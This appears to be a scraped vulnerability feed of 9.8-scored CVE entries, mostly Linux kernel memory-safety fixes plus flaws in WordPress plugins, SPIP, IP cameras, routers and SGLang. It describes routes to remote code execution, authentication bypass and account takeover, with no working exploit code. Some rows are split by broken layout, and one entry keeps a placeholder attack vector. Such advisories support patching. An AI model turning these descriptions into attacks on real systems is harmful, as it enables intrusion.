CVE-2026-80986	In the Linux kernel, the following vulnerability has been resolved: net/smc: bound the peer rkey counts in SMC-Rv2 LLC messages On a link whose device has max_recv_sge == 1 there is no shared v2 receive buffer, and smc_llc_save_add_link_rkeys() takes the v2 extension from 44 bytes past the start of the queue entry's inline message: ext = (struct smc_llc_msg_add_link_v2_ext *)(llc_msg + SMC_WR_TX_SIZE); The entry is a 72-byte allocation and the extension starts at offset 68, so ext->num_rkeys at offset 94 is already past it. This happens on every SMC-Rv2 link addition, whatever the peer sends: [2.490065] BUG: KASAN: slab-out-of-bounds in smc_llc_save_add_link_rkeys+0x333/0x350 [2.490431] Read of size 2 at addr ffff8880056406de by task smctest/106 [2.490709] [2.490792] CPU: 0 UID: 0 PID: 106 Comm: smctest Not tainted 7.2.0-rc5-p1-g77a5d9d9c99f #32 PREEMPT(lazy) [2.490795] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [2.490798] Call Trace: [2.490803] <TASK> [2.490805] dump_stack_lvl+0x53/0x70 [2.490810] print_report+0xd0/0x630 [2.490828] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [2.490832] ? smc_llc_save_add_link_rkeys+0x333/0x350 [2.490834] kasan_report+0xce/0x100 [2.490836] ? smc_llc_save_add_link_rkeys+0x333/0x350 [2.490837] smc_llc_save_add_link_rkeys+0x333/0x350 [2.490839] ? smcr_buf_map_lgr+0x1bf/0x2b0 [2.490844] smc_llc_cli_add_link+0xca7/0x1e80 [2.490848] ? smc_llc_wait+0x355/0x810 [2.490850] ? __pfx_smc_llc_wait+0x10/0x10 [2.490851] ? __pfx_smc_llc_cli_add_link+0x10/0x10 [2.490853] ? __pfx_autoremove_wake_function+0x10/0x10 [2.490863] __smc_connect+0x3f5c/0x4980 [2.490873] ? __pfx_kernel_connect+0x10/0x10 [2.490888] ? __pfx___smc_connect+0x10/0x10 [2.490891] ? release_sock+0x148/0x1d0 [2.490894] smc_connect+0x42c/0x580 [2.490896] __sys_connect+0xfc/0x130 [2.490898] ? __pfx___sys_connect+0x10/0x10 [2.490900] ? handle_mm_fault+0x1a1/0x430 [2.490908] __x64_sys_connect+0x6d/0xb0 [2.490909] ? fpregs_assert_state_consistent+0x56/0xe0 [2.490917] do_syscall_64+0xf9/0x540 [2.490921] entry_SYSCALL_64_after_hwframe+0x77/0x7f [2.490924] RIP: 0033:0x421bb4 [2.490927] Code: ff f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 80 3d ad 34 09 00 00 74 13 b8 2a 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 4c c3 0f 1f 00 55 48 89 e5 48 83 ec 10 89 55 [2.490929] RSP: 002b:00007ffd473b01a8 EFLAGS: 00000202 ORIG_RAX: 000000000000002a [2.490935] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000421bb4 [2.490936] RDX: 0000000000000010 RSI: 00007ffd473b01d0 RDI: 0000000000000003 [2.490937] RBP: 0000000000003930 R08: 0000000000000004 R09: 0000000000000000 [2.490938] R10: 00007ffd473b0f98 R11: 0000000000000202 R12: 0000000000000006 [2.490939] R13: 00007ffd473b0f87 R14: 0000000000000003 R15: 00007ffd473b0f90 [2.490940] </TASK> [2.490941] [2.499545] Allocated by task 44: [2.499693] kasan_save_stack+0x33/0x60 [2.499860] kasan_save_track+0x14/0x30 [2.500026] __kasan_kmalloc+0x8f/0xa0 [2.500190] __kmalloc_cache_noprof+0x158/0x370 [2.500393] smc_llc_enqueue+0x72/0x560 [2.500559] smc_wr_rx_tasklet_fn+0x474/0xa80 [2.500747] tasklet_action_common+0x20f/0x8a0 [2.500945] handle_softirqs+0x18e/0x590 [2.501115] do_softirq+0x3b/0x60 [2.501266] __local_bh_enable_ip+0x61/0x70 [2.501446] __alloc_skb+0x732/0x890 [2.501604] rxe_init_packet+0x16b/0x4f0 [2.501783] prepare_ack_packet+0xb8/0x830 [2.501962] rxe_receiver+0x495/0x96e0 [2.502125] do_work+0x144/0x470 [2.502269] process_one_work+0x633/0x1030 [2.502450] worker_thread+0x45b/0xd10 [2.50261 ---truncated---	9.8	More Details
CVE-2026-79396	Use of hardcoded default credentials in Xiongmai IP Camera XM530 firmware HMT.CM2005-v220608.1837 and earlier stores static account credentials in unencrypted plaintext within bin/config.xml and compiled into the Sofia executable, allowing remote attackers to gain full administrative control over the camera.	9.8	More Details
CVE-2026-80980	In the Linux kernel, the following vulnerability has been resolved: net/smc: stop killed, freed and out_of_sync sharing a byte The three connection state flags are single-bit bitfields, so they occupy one byte of struct smc_connection and every store to one is a read-modify-write of the other two: u8 killed : 1; u8 freed : 1; u8 out_of_sync : 1; They are not written under a common lock. smc_cdc_msg_validate() sets out_of_sync from the receive tasklet, while smc_conn_kill() sets killed from process context under lock_sock(), and the receive path does not defer to the backlog when the socket is owned -- smc_cdc_msg_recv() takes only bh_lock_sock(). Give each flag its own byte so a store no longer touches its neighbours. All readers test them as booleans and are unchanged. struct smc_connection grows by two bytes.	9.8	More Details
CVE-2026-72709	SPIP before version 4.4.18 contains a missing authorization vulnerability in sensitive actions under ecrire/action/ that allows unauthenticated attackers to invoke privileged actions by supplying only a valid CSRF nonce without any server-side permission check. Attackers can bypass template-level authorization guards through direct HTTP requests to invoke actions such as editer_auteur, enabling arbitrary account password rewrites including administrator accounts and resulting in full account takeover.	9.8	More Details
CVE-2026-8778	The MIPL Grouped Checkout Fields for WooCommerce – Customize & Organize Checkout Fields. plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the `mipl_wc_upload_file` function in all versions up to, and including, 1.2.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.	9.8	More Details

CVE-2026-14559	The teddy-bear-customize-addon WordPress plugin through 1.0.5 does not verify a user's password before authenticating them, allowing unauthenticated attackers to log in as any registered user, including administrators, by supplying only that user's email address.	9.8	More Details
CVE-2026-86793	SGLang allows unauthenticated pickle deserialization through /update_weights_from_tensor when no auth keys are configured, and the SafeUnpickler policy can be bypassed because builtins.import and builtins.getattr are resolvable, enabling code execution via pickle REDUCE.	9.8	More Details
CVE-2026-89259	Hugo is a static site generator. From v0.161.0, Hugo executes Node tools under Node's permission model, but TailwindCSS — included in the default security.exec.allow list — requires a highly permissive configuration (--allow-addons, --allow-child-process, --allow-worker). As a result, the restrictions intended by the fix for GHSA-x597-9fr4-5857 could still be bypassed, allowing a Node tool invoked during a build to read and write files outside the project's working directory. Affected versions are those after v0.43; the issue was fixed in v0.165.0 by removing tailwindcss from the default security.exec.allow list. Users who do not use TailwindCSS, or who only build trusted sites, are not affected. As a workaround, users can define a restrictive security.exec.allow list in hugo.toml.	9.8	More Details
CVE-2026-84390	A inclusion of sensitive information in source code vulnerability in Fortinet FortiMonitorOnSight 7.2.4 through 7.2.7, FortiMonitorOnSight 7.2.0 through 7.2.2 may allow attacker to improper access control via <insert attack vector here>	9.8	More Details
CVE-2026-71644	An issue in Robotics-STAR-Lab (SYSU STAR Group) RACER Tested affected version: commit abcdef1234567890 allows an attacker to cause unsafe trajectory planning and potential UAV collisions via a missing default case in the FSM that stops publishing swarm trajectories when the drone enters IDLE	9.8	More Details
CVE-2026-89010	WAVLINK WN535M1 and WN535M3 routers running firmware prior to M35M1_V250922 contain an unauthenticated OS command injection vulnerability that allows remote attackers to execute arbitrary commands as root by sending crafted filenames to the sync_server daemon on TCP port 13136. The daemon interpolates attacker-controlled filename input containing shell metacharacters into a shell command string via sprintf() and passes it to system() without sanitization, enabling root-level command execution on the device.	9.8	More Details
CVE-2026-72710	SPIP before 4.4.18 contains a mass assignment vulnerability in the editer_objet action that allows unauthenticated attackers to write arbitrary rows to any SQL table lacking a champs_editables allowlist by supplying an attacker-controlled arg parameter resolving to internal database tables. Attackers can insert a malicious row into the spip_jobs queue with a controlled PHP function and arguments, which is then dynamically executed when the cron processes the queue, resulting in remote code execution.	9.8	More Details
CVE-2026-80976	In the Linux kernel, the following vulnerability has been resolved: seg6: reset IP6CB after IPv6 decapsulation decap_and_validate() pulls the outer SRv6 headers and makes the inner packet the skb network header. The IPv6 control block still contains values collected while parsing the outer packet, including nhoff and extension-header flags. End.DX6 and End.DT6 route the inner IPv6 packet directly to the IPv6 input path. An unprivileged user can reach End.DT6 from a user and net namespace by installing a local SID and injecting an outer packet with Hop-by-Hop and Destination Options headers followed by an SRH and a minimal inner IPv6 packet. The outer extension headers leave a large nhoff in IP6CB. After decapsulation, ip6_protocol_deliver_rcu() uses that stale offset on the inner packet and reads beyond the skb head. KASAN reports: BUG: KASAN: slab-out-of-bounds in ip6_protocol_deliver_rcu ip6_protocol_deliver_rcu+0x1118/0x1450 ip6_input_finish+0x11b/0x240 seg6_local_input_core+0xed/0x2e0 lwtunnel_input+0x1e9/0x4e0 ipv6_rthdr_rcv+0x525f/0x6c50 ip6_protocol_deliver_rcu+0xcb7/0x1450 Before clearing IP6CB for an inner IPv6 packet, save its incoming interface index and L3 slave state. Restore both after the clear and set nhoff to the inner IPv6 base-header nexthdr field. Use IP6CB(skb)->iif rather than skb->skb_iif because VRF processing can replace skb_iif with the L3 master while IP6CB keeps the receiving interface. Preserve IP6SKB_L3SLAVE for the same reason.	9.8	More Details
CVE-2026-62103	Unauthenticated PHP Object Injection in Everest Forms <= 3.6.0 versions.	9.8	More Details
CVE-2026-62105	Unauthenticated PHP Object Injection in ThemeREX Addons < 2.45.0 versions.	9.8	More Details
CVE-2026-79395	An improper authentication vulnerability in the WS-Security (wsse:UsernameToken) verification routine within the Sofia IPC daemon in Xiongmai IP Camera XM530 firmware HMT.CM2005-v220608.1837 and earlier allows remote attackers to bypass authentication and execute privileged ONVIF actions (including PTZ control, stream URL retrieval, and system reboot) via a crafted SOAP request supplying the admin username with any arbitrary password when the account's stored password is empty.	9.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: svcauth_gss: enforce krb5 token minimum length svcauth_gss_unwrap_priv() validates only an upper bound on the wire-supplied opaque length before handing the buffer to gss_unwrap(): if (len > xdr_stream_remaining(xdr)) goto unwrap_failed; offset = xdr_stream_pos(xdr); ... maj_stat = gss_unwrap(ctx, offset, offset + len, buf);		

CVE-2026-89550	The wire value `len` flows unchanged as the upper bound into the krb5 unwrap path, so a len in [0, 16] passes this check and is handed to gss_unwrap(). For a krb5 v2 context that lands in gss_krb5_unwrap_v2(), which reads the 16-byte RFC 4121 token header fields at ptr+4 and ptr+6 and then calls rotate_left() before any integrity check. With a sub-header length the header reads run past the token, and _rotate_left()'s `shift %= buf->len` path can divide by zero when buf->len has been driven to zero by the truncated token. A header-only token (len == 16) is equally invalid: with a non-zero RRC field and the opaque blob ending at the XDR buffer boundary, rotate_left() builds a zero-length subbuffer, reaching the same division. Reject the token at the server entry point before it reaches the krb5 unwrap core. A valid sealed RFC 4121 token must contain the 16-byte header plus at least some encrypted payload. Fix by adding a minimum-length check immediately after the existing upper-bound check: if (len <= GSS_KRB5_TOK_HDR_LEN) goto unwrap_failed;	9.8	More Details
CVE-2026-52630	SQL Injection vulnerability in Woltlab WCF v.6.2.4 and before allows a remote attacker to updateUserOptions in UserEditor.class.php and the update action in UserAction.class.php	9.8	More Details
CVE-2026-53952	GetSimple CMS is a content management system (CMS), and GetSimple CMS CE is the community edition of that CMS. A logic flaw in GetSimple CMS (v3.4.0a and below) and GetSimpleCMS-CE (v3.3.22 and below) allows unauthenticated attackers to create a new administrator account. The application features an automated security control designed to delete the sensitive `admin/setup.php` file post-installation. However, this control is neutralized by a self-exclusion bug within the deletion logic, leaving the setup script accessible for unauthorized account creation even after a legitimate installation is completed. As of time of publication, no known patched versions are available.	9.8	More Details
CVE-2026-80926	In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free in oplock break notification smb2_oplock_break_noti() reads opinfo->conn without any lock and dereferences it after two allocations which may sleep. When the durable handle owning the oplock is disconnected, session_fd_check() clears opinfo->conn and drops its conn reference under ci->m_lock, and the last ksmbd_conn_put() frees the connection. A break triggered by another connection that races with the teardown can then resurrect the freed connection: ksmbd_conn_get() is a plain atomic_inc, and the queued break work later dereferences the stale conn via ksmbd_conn_write(), a use-after-free reachable by any authenticated client holding a durable batch oplock. Thread the caller's inode into the notification path instead of taking a new reference on it. Every caller of oplock_break() already holds a live ksmbd_file (or an explicit ksmbd_inode_lookup_lock() reference, in the parent lease break paths) on the inode that owns the break target's oplock list, so ci cannot be freed during the call, and its lock can be taken without dereferencing opinfo->o_fp, which a concurrent close may free. Select and pin the connection under ci->m_lock, the same lock session_fd_check() and ksmbd_reopen_durable_fd() use to update opinfo->conn, so a concurrent detach either loses the race to the clear or keeps the connection alive until the notification work releases it. Transfer the reference to the work item and release it on allocation failures.	9.8	More Details
CVE-2026-89546	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: close backchannel before destroying callback service A backchannel receive can complete a request while the NFS callback service is being torn down. xprt_complete_bc_request() removes the request from bc_pa_list, drops bc_alloc_count, marks the request in use, and then asks xprt_enqueue_bc_request() to hand it to the callback service. If teardown has already cleared xprt->bc_serv, xprt_enqueue_bc_request() currently returns without enqueueing or freeing the committed request. The xprt_get() taken on entry is leaked as well. If the producer wins the race before bc_serv is cleared, it can also enqueue onto sv_cb_list after nfs_callback_down() has stopped the callback threads, leaving the request linked to a svc_serv that is about to be freed. Close the producer side before callback threads are stopped. Add xprt_svc_shutdown_bc() to clear xprt->bc_serv under bc_pa_lock, and call it on callback shutdown and callback-start failure before stopping the service threads. Requests that lose the NULL transition in xprt_enqueue_bc_request() are released through the normal backchannel free path after balancing bc_slot_count. Finally, drain any remaining sv_cb_list requests after the callback threads have stopped and before svc_destroy() frees the service.	9.8	More Details
CVE-2026-89610	In the Linux kernel, the following vulnerability has been resolved: ntfs: verify run length exceeding volume boundary The mapping pairs decoder validates that the starting LCN is within the volume but does not check if the run extends beyond the volume boundary. A malformed NTFS image with a crafted mapping pairs array could cause the kernel to access memory beyond the volume boundary, potentially leading to memory corruption and privilege escalation. Add validation to ensure lcn + length stays within nr_clusters.	9.8	More Details
CVE-2026-89551	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: xdr_buf_trim: clamp buf->len to avoid underflow xdr_buf_trim() trims `len` bytes from the tail of an xdr_buf by walking the tail, pages, and head iovecs. Each per-section step uses min_t() so it never removes more bytes than that section holds, but the final accounting at the fix_len label subtracts the total bytes actually consumed from buf->len without any clamp: fix_len: buf->len -= (len - trim); When the caller has set buf->len to a value smaller than the sum of the iov_lens, (len - trim) can exceed buf->len and the unsigned subtraction wraps to near UINT_MAX. gss_krb5_unwrap_v2() reaches xdr_buf_trim() in exactly that state: buf->head[0].iov_len -= GSS_KRB5_TOK_HDR_LEN + headskip; buf->len = len - (GSS_KRB5_TOK_HDR_LEN + headskip); xdr_buf_trim(buf, ec + GSS_KRB5_TOK_HDR_LEN + tailskip); buf->len is a small wire-derived	9.8	More Details

	value while the iov_lens are at page scale, so the per-section loops legitimately consume far more bytes than buf->len records. The wrapped buf->len then propagates as the authoritative stream bound into every downstream XDR decoder. Fix by clamping the decrement so buf->len bottoms out at zero: buf->len -= min_t(unsigned int, buf->len, len - trim); On the normal path where the iov_lens sum to buf->len, (len - trim) is always <= buf->len and the result is identical to before. No callers change behavior outside the underflow case.		
CVE-2026-89555	In the Linux kernel, the following vulnerability has been resolved: mpls: reload header after pskb_may_pull() mpls_select_multipath() calls mpls_multipath_hash() to choose a nexthop when an MPLS route has multiple nexthops. While walking the MPLS label stack, the hash routine caches hdr for the current label. After finding the bottom-of-stack label, it calls pskb_may_pull() before reading the inner IP header. If an skb is constructed with the inner IP header in nonlinear data and insufficient tailroom in the linear head, pskb_may_pull() calls pskb_expand_head() to replace the skb head and free the old one. This leaves hdr pointing to freed memory. The IPv6 path can invalidate hdr again when it performs a second pull for the larger header. The issue was found through static analysis. A reproducer sending a legal Geneve packet through a bareudp/MPLS multipath setup triggered the same KASAN report in 2 of 2 unpatched runs: BUG: KASAN: slab-use-after-free in mpls_select_multipath Read of size 1 at addr ffff88800ecc6e20 by task ksoftirqd/1/23 Call Trace: mpls_select_multipath mpls_forward __netif_receive_skb_list_core netif_receive_skb_list_internal napi_complete_done gro_cell_poll __napi_poll net_rx_action Freed by task 23: kfree pskb_expand_head __pskb_pull_tail mpls_select_multipath Reload hdr from the current skb head after each successful pull before deriving the inner IPv4 or IPv6 header pointer.	9.8	More Details
CVE-2026-89674	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix XDR length calculation in nfsd4_ff_encode_layoutget The XDR buffer size calculation in nfsd4_ff_encode_layoutget() has multiple errors that can result in either an out-of-bounds write or leaking uninitialized kernel memory to the client: - fh_len doesn't account for XDR padding on the file handle data - uid and gid lengths use "8 + len" but xdr_encode_opaque() actually writes "4 + xdr_align_size(len)" bytes - ds_len omits the flags and stats_collect_hint fields (8 bytes), while len's header constant overestimates by 8 bytes -- these partially cancel but leave a net mismatch The worst case occurs with short strings (e.g. uid=0, gid=0 with an odd-sized file handle), where the function writes up to 5 bytes past the reserved XDR buffer. Conversely, when string lengths happen to be 4-byte aligned, the reservation is too large and stale buffer content is sent to the client. Fix this by breaking out every encoded field explicitly in the ds_len calculation, using xdr_align_size() for all variable-length opaque fields, and correcting the header constants.	9.8	More Details
CVE-2026-89675	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix UAF in async copy cancel and shutdown An async copy could be freed or used after free while a teardown caller (OFFLOAD_CANCEL, nfsd4_shutdown_copy, nfsd4_cancel_copy_by_sb) raced the copy kthread: - find_async_copy() bumped copy->refcount but left the copy on clp->async_copies, so the reaper's cleanup_async_copy() could run release_copy_files() concurrently with a cancel/shutdown caller. Both put and NULL nf_src/nf_dst without a common lock, double-putting the nfsd_file and freeing it early. - nfsd4_do_async_copy() set NFSD4_COPY_F_STOPPED before its final uses of the copy (nfsd_update_cmtime_attr() on copy->nf_dst, nfsd4_send_cb_offload()). nfsd4_stop_copy() treats a set STOPPED bit as "kthread done, skip kthread_stop()", so a teardown caller ran release_copy_files() -- which puts and NULLs nf_dst -- while the kthread still dereferenced it (NULL/UAF). - copy->copy_task was never pinned. The one-shot kthread self-reaps on return, so kthread_stop()'s get_task_struct() could touch a freed task_struct. - co_cb is embedded in the copy, but nfsd4_send_cb_offload() held a reference only on the client, so a concurrent teardown could free the copy while the CB_OFFLOAD callback was in flight. Fix the teardown lifetime as a whole: - find_async_copy() unlinks the copy (clear cp_clp, list_del_init) under async_lock; the cancel, shutdown, and sb-cancel paths drop the list-membership reference via nfs4_put_copy() after nfsd4_stop_copy(). Drop the now-redundant list_del fixup from cleanup_async_copy(). - Because unlinking hides the copy from the reaper, its cleanup_async_copy() can no longer remove the copy's s2s_cp_stateids entry; the cancel/shutdown/sb-cancel paths now call nfs4_free_copy_state() themselves (while cp_clp is still valid) so the entry does not dangle at freed memory for the laundromat and manage_cpntf_state() to dereference. - Give the kthread its own reference, taken in nfsd4_copy() before wake_up_process() and dropped at the end of nfsd4_do_async_copy(); call wake_up_process() before list_add(). - Pin the task_struct with get_task_struct() in nfsd4_copy(), released in nfs4_put_copy(), so kthread_stop() is safe whenever the kthread exits. Set NFSD4_COPY_F_STOPPED only in nfsd4_stop_copy(), which now always kthread_stop()s before release_copy_files(); completion is still reported via NFSD4_COPY_F_COMPLETED, so nfsd4_has_active_async_copies() is unaffected. Each teardown caller removes the copy from clp->async_copies first, so kthread_stop() runs exactly once. - Take a copy reference in nfsd4_send_cb_offload(), dropped in nfsd4_cb_offload_release(). The kthread still holds its own reference there, so the refcount_inc() cannot race the final free. - Read cp_clp with smp_load_acquire() to pair with the unordered set_bit()/clear_bit() writers (Documentation/atomic_bitops.rst).	9.8	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix stale s2s_cp_stateids IDR entry for async COPY For an async COPY, nfsd4_copy() called nfs4_init_copy_state() before dup_copy_fields(), so the s2s_cp_stateids IDR was pointed at &u->copy->cp_stateid -- memory in the per-rqstp COMPOUND buffer that is reused by the next request. dup_copy_fields() copies only the value		More

89676	into async_copy, so the IDR slot dangled at the transient buffer for the whole background copy. Any IDR walker then dereferences reused request memory: the laundromat reads cs_type from it and, if the bytes look like an expired NFS4_COPYNOTIFY_STID, follows into refcount_dec()/idr_remove()/kfree() on garbage; manage_cpntf_state() has the same exposure via idr_find(). Duplicate the fields first, then register the stateid on the stable async_copy. result->cb_stateid is unchanged.	9.8	Details
CVE-2026-89677	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix possible fh_compose of wrong dentry in nfsd4_create_file() dentry_create() can hypothetically provide a different dentry than the one passed in. This could happen, for example, if the exported filesystem is NFS, and the server returned to OPEN a filehandle which matched a directory that was already in the dcache. Clearly this would not be expected! If this were to happen the dentry (child) that was already stored in resfhp could be freed and later dereferenced. We shouldn't call fh_compose() until we are certain that we have the final dentry, so this patch moved the fh_compose() call to two places: one for the case where the target already exists, and one after dentry_create() where it was created.	9.8	More Details
CVE-2026-89681	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix layout fence worker double-reference race The workqueue core clears WORK_STRUCT_PENDING before the callback is invoked, so delayed_work_pending() in lm_breaker_timedout() can return false while the fence worker is already running. This lets the breaker take a duplicate sc_count reference and schedule a new worker that coalesces with the in-progress one. The extra reference is never put, leaking the layout stateid. Replace the racy delayed_work_pending() check with an ls_fence_inflight boolean set atomically with refcount_inc_not_zero() under ls_lock, and cleared under ls_lock before the final nfs4_put_stid() on the dispose path; the retry path intentionally retains it. Remove the self-rearm mod_delayed_work() at the top of the worker.	9.8	More Details
CVE-2026-89686	In the Linux kernel, the following vulnerability has been resolved: nfsd: fix BUG_ON in nfsd4_alloc_layout_stateid on racing delegation revoke nfsd4_alloc_layout_stateid reads fp->fi_deleg_file without holding fi_lock when the parent stateid is a delegation. A concurrent delegation revoke via the laundromat can clear fi_deleg_file under fi_lock, causing nfsd_file_get() to return NULL and triggering the BUG_ON. This race is client-reachable: two NFS clients can trigger it by having one hold a delegation while another opens the same file to force a recall. When the first client doesn't respond to the recall, the laundromat revokes it. A concurrent LAYOUTGET from any client using the delegation stateid hits the race window. Fix this by taking fi_lock around the fi_deleg_file read in the SC_TYPE_DELEG path, matching the locking discipline of the find_any_file() arm, and replacing the BUG_ON with a graceful error return that cleans up the partially-initialized layout stateid.	9.8	More Details
CVE-2026-89688	In the Linux kernel, the following vulnerability has been resolved: nfsd: drop the stateid, not the stateowner, on seqid_op replay retry In nfs4_preprocess_seqid_op() the stateid is obtained from nfsd4_lookup_stateid(), which holds a reference on the nfs4_stid (sc_count) but takes no reference on the stateowner. openlockstateid() merely casts that stid and likewise takes no reference. When nfsd4_cstate_assign_replay() returns -EAGAIN (the replay owner is being torn down, RP_UNHASHED) it has not taken a stateowner reference on that path. The error handling nevertheless called nfs4_put_stateowner(stp->st_stateowner), dropping an so_count reference the function never acquired -- risking a stateowner refcount underflow and use-after-free -- while leaking the sc_count reference held on the stid. The leaked stid reference can also stall a concurrent nfsd4_close_open_stateid() waiting for sc_count to drop. Drop the reference actually held -- the stid -- before retrying. The stateowner stays alive through the reference held by the stid. This mirrors the open path in nfsd4_process_open1(), where the put balances a reference that path explicitly holds on the stateowner.	9.8	More Details
CVE-2026-89689	In the Linux kernel, the following vulnerability has been resolved: nfsd: don't free session slots that are still in use nfsd4_sequence() can free the very slot it is currently processing. When the session shrinker has reduced se_target_maxslots below se_fchannel.maxreqs, the shrink path checks three conditions before calling free_session_slots(): 1. se_target_maxslots < maxreqs (shrink was advertised) 2. slot->sl_generation == se_slot_gen (slot is up-to-date) 3. seq->maxslots <= se_target_maxslots (client acknowledges) However, seq->slotid is never checked against se_target_maxslots. A client using a slot in the range [se_target_maxslots, maxreqs) can satisfy all three conditions: its slot has the current generation (set by a prior SEQUENCE), and it sends sa_highest_slotid <= se_target_maxslots to acknowledge the reduction. free_session_slots() then kfrees every slot at index >= se_target_maxslots, including the caller's own slot. The function continues to write sl_seqid, sl_flags, sl_generation, and stores the dangling pointer in cstate->slot. Later, nfsd4_store_cache_entry() copies up to maxresp_cached bytes of the compound reply into the freed sl_data[] array, corrupting whatever slab object now occupies that address. Additionally, a concurrent thread processing SEQUENCE on a different high-numbered slot can have its slot freed out from under it. NFSD4_SLOT_INUSE is set under nn->client_lock before the lock is released, so any concurrent thread past SEQUENCE will have its slot marked. However, free_session_slots() does not check NFSD4_SLOT_INUSE before freeing. Fix both problems by: 1. Checking that the current request's slotid is below the shrink boundary. 2. Scanning slots in the to-be-freed range for NFSD4_SLOT_INUSE and deferring the shrink if any are active.	9.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: nfsd: size fh_verify server sockaddr slot by xpt_locallen The nfsd_fh_verify and nfsd_fh_verify_err tracepoints declare the server sockaddr slot sized by xpt_remotelen but fill it from xpt_local using xpt_locallen: TP_STRUCT__entry(...		

CVE-2026-89702	__sockaddr(server, rqstp->rq_xprt->xpt_remotelen) ...) TP_fast_assign(... __assign_sockaddr(server, &rqstp->rq_xprt->xpt_local, rqstp->rq_xprt->xpt_locallen); ...) When xpt_locallen exceeds xpt_remotelen, __assign_sockaddr's memcpy writes past the reserved ring-buffer slot. In the reverse direction (xpt_locallen < xpt_remotelen) the slot is oversized and the unwritten tail leaks prior ring-buffer contents to trace consumers. The write-past-end case is reachable on NFS/UDP. svc_xprt_set_remote() is only called from svc_tcp_accept() (net/sunrpc/svcsock.c) and from the RDMA connect path; svc_create_socket() for UDP calls only svc_xprt_set_local(), so xpt_remotelen stays 0 for the xprt's lifetime. Every fh_verify trace for an NFSv2/v3-over-UDP request then copies 16 or 28 bytes from xpt_local into a zero-byte slot. The other NFSD tracepoints that record the server address (NFSD_TRACE_PROC_CALL_FIELDS, NFSD_TRACE_PROC_RES_FIELDS, SVC_RQST_ENDPOINT_FIELDS) already size the server slot by xpt_locallen; nfsd_fh_verify and nfsd_fh_verify_err were the only exceptions. Fix by sizing the server slot with xpt_locallen so the declared slot matches the copy length. The client slot and its assignment already agree on xpt_remotelen and are left untouched.	9.8	More Details
CVE-2026-89703	In the Linux kernel, the following vulnerability has been resolved: nfsd: set SC_STATUS_FREED in nfsd4_drop_revoked_stid for delegations nfsd4_drop_revoked_stid() handles FREE_STATEID for admin-revoked delegations but does not set SC_STATUS_FREED before releasing cl_lock. revoke_delegation() uses this flag to detect whether FREE_STATEID has already processed the delegation -- without it, the freed delegation is added to cl_revoked via list_add(), producing a use-after-free when cl_revoked is later traversed in __destroy_client(). The SC_STATUS_REVOKED path in nfsd4_free_stateid() (line 7983) already sets SC_STATUS_FREED correctly. Apply the same pattern to the SC_STATUS_ADMIN_REVOKED path in nfsd4_drop_revoked_stid().	9.8	More Details
CVE-2026-89708	In the Linux kernel, the following vulnerability has been resolved: nfsd: RCU-protect cl_cb_session to fix use-after-free on session teardown After a DESTROY_SESSION the per-session teardown path can free a session while rpciod still holds an inflight callback rpc_task that dereferences clp->cl_cb_session. nfsd4_probe_callback_sync() flushes cl_callback_wq, but once nfsd4_run_cb_work() has called rpc_call_async() the rpc_task lives on rpciod; flushing the workqueue does not wait for it. rpc_shutdown_client() does drain rpciod tasks, but uses a 1-second wait_event_timeout — tasks stuck in rpc_delay() (e.g. 2-second NFS4ERR_DELAY retries) can outlive the drain. destroy path rpciod ---------- ---------- unhash_session(ses) nfsd4_probe_callback_sync(clp) flush_workqueue(cl_callback_wq) /* returns; rpc_task still live */ nfsd4_put_session_locked(ses) free_session(ses) -> kfree(ses) nfsd4_cb_sequence_done() reads cb_clp->cl_cb_session /* freed slab */ A second window exists in nfsd4_process_cb_update(). When __nfsd4_find_backchannel() returns NULL because unhash_session() has already removed the destroyed session from cl_sessions, setup_callback_client() takes the v4.1 early return so clp->cl_cb_session = ses never fires and the field retains a pointer to the about-to-be-freed session. Fix both by converting cl_cb_session to an RCU-protected pointer: - Move the cl_cb_session = ses assignment in setup_callback_client() to after rpc_create() succeeds, so it is only published when a working backchannel exists. Clear cl_cb_session on the error return in nfsd4_process_cb_update(). Both stores use rcu_assign_pointer(). - Annotate cl_cb_session with __rcu. All rpciod-side readers use rcu_read_lock()/rcu_dereference() and check for NULL, bailing to the appropriate error or requeue path: encode_cb_sequence4args(), decode_cb_sequence4resok(), nfsd41_cb_get_slot(), nfsd41_cb_release_slot(), nfsd4_cb_prepare(), and nfsd4_cb_sequence_done(). - Switch __free_session() from kfree() to kfree_rcu() so the session slab is not reclaimed until after an RCU grace period, guaranteeing that rpciod readers inside rcu_read_lock() never dereference freed memory. - Pass the session pointer to the nfsd_cb_seq_status and nfsd_cb_free_slot tracepoints instead of having them re-read cl_cb_session. - nfsd4_cb_prepare() calls rpc_exit() when the session is NULL, routing through the done/release path to requeue the callback.	9.8	More Details
CVE-2026-89712	In the Linux kernel, the following vulnerability has been resolved: NFSD: restart ssc_expire_umount walk after dropping nfsd_ssc_lock nfsd4_ssc_expire_umount() walks nn->nfsd_ssc_mount_list with list_for_each_entry_safe(ni, tmp, ...). For each expired entry it sets nsui_busy = true, drops nfsd_ssc_lock to run mntput() on the source vfsmount, then reacquires the lock to list_del + kfree the entry and continue iterating via the macro's saved tmp pointer. The nsui_busy flag protects the current ni from concurrent nfsd4_ssc_setup_dul() finders during the lock-drop window, but it does not pin tmp. Another nfsd RPC thread that fails its source- server mount and reaches nfsd4_ssc_cancel_dul() will, during that same window, take nfsd_ssc_lock, list_del + kfree its own ssc_umount item, and release the lock. If that item is the saved tmp of the expire walk, the next iteration dereferences a freed nfsd4_ssc_umount_item. Restart the walk from the head after the mntput() unlock window so no saved next pointer survives the lock-drop. The list is bounded by the number of active inter-server source mounts (typically small) and the expire delayed-work runs periodically rather 